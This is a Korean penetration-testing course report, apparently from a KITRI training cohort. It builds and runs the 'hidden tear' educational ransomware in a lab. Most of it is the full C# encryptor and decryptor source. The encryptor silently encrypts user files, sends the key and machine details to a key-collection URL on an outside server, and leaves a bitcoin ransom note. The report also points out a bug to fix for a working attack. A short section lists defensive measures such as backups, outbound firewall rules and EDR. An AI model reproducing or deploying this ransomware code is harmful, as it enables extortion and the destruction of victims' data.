|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
|  | | |  | | KITRI 모의해킹 28기 | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | 작성: 보안팀 | | |  | |
|  | Ransomware attack | | | | | | |  |
|  | | Hidden tear ransomware attack | | | |  | | |
|  | |  | | | |  | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |

|  |
| --- |
| 1. 개요 및 실습 |
| 개요 : 최근 들어 랜섬웨어 공격이 자주 발생하고 있다. 랜섬웨어 공격이란 기업이나 고객의 host나 server에 접근하여 중요한 파일들을 AES, DES 등의 방식으로 암호화 한 후에 공격자의 서버로 키 값을 보내어 희생자가 비트코인 등의 정당한 대가를 지불할 시에 복호화 하여 주는 방식이다. 초반에는 단순히 파일을 암호화하고, 컴퓨터를 사용하지 못하도록 암호를 거는 방식이었으나, 크립토락커가 제작된 이후로 기법이 더욱 발달하였다.  크립토 락커는 암호화 기술뿐만이 아니라 일정 시간이 지나면, 시스템 자체를 아예 영구불능으로 만든다.  이처럼 랜섬웨어는 그 공격기법이 계속해서 발전하고, 공격빈도가 매우 높게 발생하는 공격이다.  최근에는 기업 이랜드가 클롭 랜섬웨어에 감염되어 고객의 카드정보를 빌미로 협박을 받는 등 사건이 벌어졌다.  클롭 랜섬웨어란 기업의 중앙 서버인 액티브 디렉터리를 공격한다. 액티브 디렉터리는 회사의 정보를 저장하고 있는 db이다. 주로 역할은 기업의 관리자들이 직원들로 하여금 네트워크에 접속할 수 있도록 하는 프로그램이다.  이곳을 공격하여 공격자는 관리 서버에 연결된 모든 정보에 접근이 가능하다. 서버나 직원들 개개인의 pc에 백신이나 방어 프로그램이 있다면, 관리 서버에서 발급한 인증서로 이를 우회하거나 통과가 가능하다. 이러한 방식으로 관리 서버에서 조직내의 사용자에 접근해, 프로그램이나 드라이브를 암호화하는 공격이다.  실습 개요 : 실습은 랜섬웨어 교육용으로 제작된 hidden tear 랜섬웨어 오픈소스를 git에서 다운받아 진행해본다.  실습 환경 : 복호화 키 값 저장되는 서버  Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86\_64 GNU/Linux  공격대상 호스트  window 10 (64bit)  1. github.com/goliate/hidden-tear들어가서 오픈소스를 다운받는다. |
|  |
| 2. 다운받은 소스의 압축을 푼 후에 위의 경로로 들어가서 debug파일을 삭제해준다. 우선, 암호화 프로그램의 debug파일을 삭제해준다.    3. 다운받은 소스의 압축을 푼 후에 위의 경로로 들어가서 debug파일을 삭제해준다. 두번째로, 복호화 프로그램의 debug파일을 삭제해준다. 삭제한 두개의 debug파일은 sln파일을 빌드하여 다시 생성해 줄 것이다. |
|  |
| 4. 암호화 프로그램과 복호화 프로그램의 sln파일을 visual studio 2019로 열어준다. |
| <암호화 프로그램인 hidden-tear.sln의 소스코드>  ## 주석처리된 부분을 변경해준다.  using System;  using System.Diagnostics;  using System.Collections.Generic;  using System.ComponentModel;  using System.Data;  using System.Drawing;  using System.Linq;  using System.Text;  using System.Threading.Tasks;  using System.Windows.Forms;  using System.Security;  using System.Security.Cryptography;  using System.IO;  using System.Net;  using Microsoft.Win32;  using System.Runtime.InteropServices;  using System.Text.RegularExpressions;  namespace hidden\_tear  {  public partial class Form1 : Form  {  //Url to send encryption password and computer info  string targetURL = "http://192.168.0.156/keys.php?info=";  ##위의 targetURL은 복호화 키가 전송되는 서버의 URL을 지정해준 것이다. 실습에서는 kali linux에 웹서버를 구성할 것이므로, 본인 kali의 ip를 입력하고, keys.php를 통해서 key 값을 받아올 것이므로 keys.php를 추가해준다.  string userName = Environment.UserName;  string computerName = System.Environment.MachineName.ToString();  string userDir = "C:\\Users\\";  public Form1()  {  InitializeComponent();  }  private void Form1\_Load(object sender, EventArgs e)  {  Opacity = 0;  this.ShowInTaskbar = false;  //starts encryption at form load  startAction();  }  private void Form\_Shown(object sender, EventArgs e)  {  Visible = false;  Opacity = 100;  }  //AES encryption algorithm  public byte[] AES\_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)  {  byte[] encryptedBytes = null;  byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };  using (MemoryStream ms = new MemoryStream())  {  using (RijndaelManaged AES = new RijndaelManaged())  {  AES.KeySize = 256;  AES.BlockSize = 128;  var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);  AES.Key = key.GetBytes(AES.KeySize / 8);  AES.IV = key.GetBytes(AES.BlockSize / 8);  AES.Mode = CipherMode.CBC;  using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))  {  cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);  cs.Close();  }  encryptedBytes = ms.ToArray();  }  }  return encryptedBytes;  }  //creates random password for encryption  public string CreatePassword(int length)  {  const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\*!=&?&/";  StringBuilder res = new StringBuilder();  Random rnd = new Random();  while (0 < length--){  res.Append(valid[rnd.Next(valid.Length)]);  }  return res.ToString();  }  //Sends created password target location  public void SendPassword(string password){    string info = computerName + "-" + userName + " " + password;  var fullUrl = targetURL + info;  var conent = new System.Net.WebClient().DownloadString(fullUrl);  }  //Encrypts single file  public void EncryptFile(string file, string password)  {  byte[] bytesToBeEncrypted = File.ReadAllBytes(file);  byte[] passwordBytes = Encoding.UTF8.GetBytes(password);  // Hash the password with SHA256  passwordBytes = SHA256.Create().ComputeHash(passwordBytes);  byte[] bytesEncrypted = AES\_Encrypt(bytesToBeEncrypted, passwordBytes);  File.WriteAllBytes(file, bytesEncrypted);  System.IO.File.Move(file, file+".locked");      }  //encrypts target directory  public void encryptDirectory(string location, string password)  {    //extensions to be encrypt  var validExtensions = new[]  {  ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"  };  ##위의 확장자를 가지고 있는 파일들은 전부다 암호화를 적용한다.  string[] files = Directory.GetFiles(location);  string[] childDirectories = Directory.GetDirectories(location);  for (int i = 0; i < files.Length; i++){  string extension = Path.GetExtension(files[i]);  if (validExtensions.Contains(extension))  {  EncryptFile(files[i],password);  }  }  for (int i = 0; i < childDirectories.Length; i++){  encryptDirectory(childDirectories[i],password);  }      }  public void startAction()  {  string password = CreatePassword(15);  string path = "\\Desktop\\test";  ##실제로 암호화를 적용할 폴더를 지정해준다.  string startPath = userDir + userName + path;  ##암호화 진행할 경로를 완성해준다.  ## string userDir = "C:\\Users\\";  ## string path = "\\Desktop\\test";  ## string userName = Environment.UserName;  ## 위 3개를 조합하여 완성한다.  SendPassword(password);  encryptDirectory(startPath,password);  messageCreator();  password = null;  System.Windows.Forms.Application.Exit();  }  public void messageCreator()  {  string path = "\\Desktop\\ransomware.txt";  ##바탕화면에 ransomware.txt를 만들어주도록 한다.  ##ransomware.txt에는 귀하의 pc가 ransomware에 감염되었으니,  ##비트코인을 지불하라라는 msg가 기록된다.  string fullpath = userDir + userName + path;  string[] lines = { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };  System.IO.File.WriteAllLines(fullpath, lines);  }  }  }  <암호화 프로그램인 hidden-tear-decrypter.sln의 소스코드>  using System;  using System.Collections.Generic;  using System.ComponentModel;  using System.Data;  using System.Drawing;  using System.Linq;  using System.Text;  using System.Threading.Tasks;  using System.Windows.Forms;  using System.Security;  using System.Security.Cryptography;  using System.IO;  using System.Net;  using Microsoft.Win32;  using System.Runtime.InteropServices;  using System.Text.RegularExpressions;  namespace hidden\_tear\_decrypter  {  public partial class Form1 : Form  {  string userName = Environment.UserName;  string userDir = "C:\\Users\\";  public Form1()  {  InitializeComponent();  }  public byte[] AES\_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)  {  byte[] decryptedBytes = null;  // Set your salt here, change it to meet your flavor:  // The salt bytes must be at least 8 bytes.  byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };  using (MemoryStream ms = new MemoryStream())  {  using (RijndaelManaged AES = new RijndaelManaged())  {    AES.KeySize = 256;  AES.BlockSize = 128;  var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);  AES.Key = key.GetBytes(AES.KeySize / 8);  AES.IV = key.GetBytes(AES.BlockSize / 8);  AES.Mode = CipherMode.CBC;  using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))  {  cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);  cs.Close();  }  decryptedBytes = ms.ToArray();      }  }  return decryptedBytes;  }  public void DecryptFile(string file,string password)  {  byte[] bytesToBeDecrypted = File.ReadAllBytes(file);  byte[] passwordBytes = Encoding.UTF8.GetBytes(password);  passwordBytes = SHA256.Create().ComputeHash(passwordBytes);  byte[] bytesDecrypted = AES\_Decrypt(bytesToBeDecrypted, passwordBytes);  File.WriteAllBytes(file, bytesDecrypted);  string extension = System.IO.Path.GetExtension(file);  string result = file.Substring(0, file.Length - extension.Length);  System.IO.File.Move(file, result);  }  public void DecryptDirectory(string location)  {  string password = textBox1.Text;  string[] files = Directory.GetFiles(location);  string[] childDirectories = Directory.GetDirectories(location);  for (int i = 0; i < files.Length; i++)  {  string extension = Path.GetExtension(files[i]);  if (extension == ".locked")  {  DecryptFile(files[i], password);  }  }  for (int i = 0; i < childDirectories.Length; i++)  {  DecryptDirectory(childDirectories[i]);  }  label3.Visible = true;    }  private void button1\_Click(object sender, EventArgs e)  {  string path = "\\Desktop\\test";  string fullpath = userDir + userName + path;  ## 암호화 프로그램에서 바탕화면 하위에 test폴더의 파일들을 암호화 하였다.  ## 복호화 프로그램에서 똑같이 test폴더를 지정해주어 test폴더 하위의 파일들을 복호화해준다.  DecryptDirectory(fullpath);  }  private void Form1\_Load(object sender, EventArgs e)  {  }  }  } |
| 5. 본인의 실습환경에 맞추어 폴더 및 파일의 경로와 서버를 지정해 주었다면, sln파일 두개를 빌드하여준다.  6번부터 8번까지 웹서버 구축부터 마무리 한 후에 빌드를 하여준다. |
| 6. kali linux에서 웹서버 구성을 해주어야 한다. 우선, /var/www/html에다가 아무 내용도 없는 data.txt파일과 keys.php파일을 생성해준다. gedit이나 vim명령어로 생성해준다.    7. keys.php에는 아래와 같이 코드를 기입해준다. get함수로 받아온 복호화 키 값을 info변수에 넣은 후에 data.txt파일을 append형식으로 열고 나서 해당 파일에 info변수의 값을 써주는 간단한 코드이다. |
| 8. data.txt에 복호화 키 값이 수월하게 써지도록 권한을 부여하도록 한다. 다 하고 나면, 웹서버를 재기동 시켜준다. |
| 9. 암호화(공격)와 복호화는 빌드 후에 생성된 아래 경로의 hidden-tear-decrypter.exe와 hidden-tear.exe를 가지고 진행한다. |
| 10. 암호화(공격)을 진행해보자. 아래는 공격전 test밑에 kkb파일의 모습과, 내용의 모습이다. |
| 11. 공격 후에 파일의 모습과 내용이 아래와 같이 변하였다. |
|  |
| 12. kali 웹 서버에 복호화 키가 전송된 모습을 확인해보자. |
| 13. 받아온 복호화 키 값으로 암호화된 파일의 복호화를 성공하였다. |
| \* 부가적인 오류 확인 : 해당 소스코드를 가지고 실습을 진행한 결과, 웹 서버로 키 값이 무조건 15자리의 값이 전달되어야 하는데, 때때로 그 이하의 자릿수를 가진 키값이 전달되는 문제점이 보였다. 15자리의 키값이 아닌 6자리나 7자리의 키값이 서버로 전송되었다면, 암호화된 파일이 복호화가 되지 않는다. 따라서 해당 소스코드를 편집하여야 제대로 된 랜섬웨어 공격이 가능하다고 보여진다. |

|  |
| --- |
|  |
| 2. 보안진단 및 대책 |
| <개인적인 차원의 대응>  1. 출처가 불분명한 이메일이나 게시판의 첨부파일 등을 주의한다. 이들을 열때는 반드시 안전한 파일인지 확인한다. |
| 2. 공유폴더의 사용을 최대한 자제한다. 만약에 사용이 불가피할 경우에 ACL등의 강한 보안대책을 설정한 후에 사용한다. 이는 사용자를 검사해 ACL에 등록되어 있는 사용자만 해당 공유폴더에 접근이 가능하도록 허가하는 방식이다.  3. 파일공유 사이트(p2p 사이트)는 악성코드가 빈번하게 출현하는 곳이기 때문에, 최대한 사용을 자제한다. 신뢰되지 않은 곳에서 파일을 다운로드하거나 실행시키지 않는다.  4. 주기적으로 중요한 파일을 별도의 저장공간(외장하드 등)에 백업하여 공격을 예방한다.  <조직적인 차원의 대응>  1. 방화벽의 아웃바인드 정책을 통제한다. 서버에서 바깥으로 나가는 패킷이나, 데이터를 관리하는 정책이 아웃바인드 정책인데, 서버가 랜섬웨어에 감염되어 개별 사용자에게 랜섬웨어를 전달하게 되는데 이를 방지하기 위하여 아웃바인드 규칙을 지정하는 것이다.  2. 망분리를 필수적으로 실시한다. 업무 전용 서버와 일반 인터넷 서버의 망을 분리하여 인터넷 상의 정보가 업무 상의 정보와 섞이지 않게 한다. 이 방법은 구축 비용이 많이 든다는 단점이 있다.   3. 개개인의 사용자에게 권한을 최소한으로 부여한다. (관리자 입장에서 부여)  4. 기본적으로 개개인의 파워쉘 기능을 제한한다. 이는 시스템의 관리 및 자동화를 목적으로 설계된 스크립트인데, 이를 제한하여 랜섬웨어의 무분별한 확산을 막는다.  5. EDR을 활용해 원격 제어를 제한한다. EDR이란 클라이언트에 설치되어 특정한 행동이나 이상징후가 보이면 바로 탐지해 그것에 대한 대응을 하는 솔루션이다. 특히 EDR은 일반 백신과 달리 머신러닝과 인공지능을 이용해 위협을 차단한다. |
|  |
|  |
|  |
|  |

|  |
| --- |
|  |
| 5. 보안대책 적용시 공격결과 (최종 매뉴얼에 포함) |
|  |
|  |
|  |
|  |
|  |
|  |